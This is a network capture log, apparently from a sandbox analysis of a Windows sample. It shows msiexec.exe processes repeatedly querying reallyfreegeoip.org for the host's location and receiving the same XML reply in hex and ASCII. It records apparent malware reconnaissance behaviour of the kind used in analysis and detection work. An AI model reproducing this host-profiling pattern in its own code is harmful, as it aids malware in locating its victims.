2024-10-22 14:12:06 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49997	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:07 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:07 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:07 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31683 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I9zuzq2elAO0Q%2BFjG94jG5uS0bHlKXxqH1nX87XWTidAQ4wmcdDRvBMIF8lgUk5CR19DR5tlcT5lRACndbV6TgHCEg5UHywauSwvdMg4SVDcAfV6YpS5y0Ls5FpUSekO5%2BWn7ipo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a149868dbe742-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2240&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1385645&cwnd=245&unsent_bytes=0&cid=9a096c1be6c26561&ts=160&x=0"
2024-10-22 14:12:07 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50000	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:08 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:08 UTC	900	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31684 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0LeY90wv5PG2zWCmcD8xXJUAeyipfSkruj%2F%2FX%2FjKUOcdnfuevMnTXEAST1pS%2FAP7WAnjKwKo1LH8vMjR3BRPfP2pwwrFC8Sl5BhL7yeZLMJWiTg6sWG91YDB1KvU%2Fc%2B0bLvubZio"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14a0291e6b2c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1080&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2560565&cwnd=251&unsent_bytes=0&cid=b4b3cf7e99c729e3&ts=160&x=0"
2024-10-22 14:12:08 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50001	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:08 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:08 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31684 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KYbAk3rkrhC9zVdWo34o%2B9Uz24wnUvx8OOP1cJBTePt7lZxykBm7u4AeVrQX%2BHCJQVPU8%2FJB2KFcIBMqV9bA43GKgEgBVGgOK3NjFLMGMkNJAH%2BPRc6tijqJMoTafMwdOwuB2C9L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14a30ed3c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1380&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2029432&cwnd=252&unsent_bytes=0&cid=021c85d77c637da0&ts=218&x=0"
2024-10-22 14:12:08 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50004	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:09 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:10 UTC	898	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31686 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2FkzDuZyZ%2F84ezCoV8UG7mgxqyW5SxYeG3Z8FtD5M9%2BV51sQaz%2F2dlfIX95CQNOBTTRparEIpW267bg6thHcDPQg2Y5jZTl6Dcv88tuNEXPG9JrKiBS55cAxroCK%2FaePz7rXnA0r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14aacad34773-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1490478&cwnd=245&unsent_bytes=0&cid=f00fe05d0293e5a5&ts=153&x=0"
2024-10-22 14:12:10 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50005	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:10 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:10 UTC	893	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31686 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x9pt9JppU49CRJ5axL%2FuhAZPEvGnHxwnL5GVNvUO%2F2f0EDqGbS1JX6aMbLgST%2FkzWjqMeacT3inXlQwJSoxvcRk2h1ol5KpGM1HqtIvKdUIQz6QerseUHsX1JPjeF4ImuJ6jOC5l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14ad7da4c871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1794299&cwnd=97&unsent_bytes=0&cid=4eaddd1d97a0cd97&ts=155&x=0"
2024-10-22 14:12:10 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50008	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:11 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:11 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31687 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2X7x2PkQQYmUtf1VdX%2BH4VTrf1bFIUQ77ipWDK1YGbx3DDArztNlrhCgdqtZcYHLbmZ9UDzP8r2u2q0V3p4QZQ42ZNhnvCrhDoxSBCXyPCkQcUXDS9oMJIl8UaQybCp2OL%2FMWc9t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14b4fd1ce9a9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1381&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2073013&cwnd=251&unsent_bytes=0&cid=23df2b4c614c8d6a&ts=148&x=0"
2024-10-22 14:12:11 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50009	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:12 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:12 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31688 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hXBjWdAZx%2FhYJjewCQCKrbp7RbulFD%2B0A2lFXuC7xxAv9Nykt7Ttrsn5aQUVsk4qkyAYj2i6aT%2FEMS1NioKFCMYk66nlx9dPrDQOO3ACd7l9ag4429HTPQqDormOupXVBVTow%2Bvk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14b779796be3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1105&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2450084&cwnd=237&unsent_bytes=0&cid=b53f2f5ed5327d3e&ts=152&x=0"
2024-10-22 14:12:12 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50012	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:13 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:13 UTC	906	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31689 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0n4Yf8EcWwlp9eioa%2BV%2Fhq639qi25d2x7d8%2FayHDxaI31c6u9Hlb2%2FuTarBb2mtBCUIaw%2Fbnkm4YXRiuOmwb90GmL9WSkzDAu1b7Frh%2F%2BU%2FDknsfXxWBmng9s0Rwx%2BrXfIMxAW2o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14bf99fa2821-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1398&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2142011&cwnd=249&unsent_bytes=0&cid=a54a5d3e52918753&ts=149&x=0"
2024-10-22 14:12:13 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50013	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:13 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:13 UTC	893	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31689 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SAXdUc1cUmqMudF%2FwM9BHZnRkX%2Bl1jYb0T02W1d5o4FJ6m3BA0%2F8T3nIljMFCnkIuzJuDzWpZoFrPFgzVJ5zTEDsSv5BufxhXAFvD5aR6CIHfMBDjnGcjkEdq2jABTTawTtEqCHN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14c20fa16b55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=1740384&cwnd=32&unsent_bytes=0&cid=4250d849815f7e88&ts=161&x=0"
2024-10-22 14:12:13 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

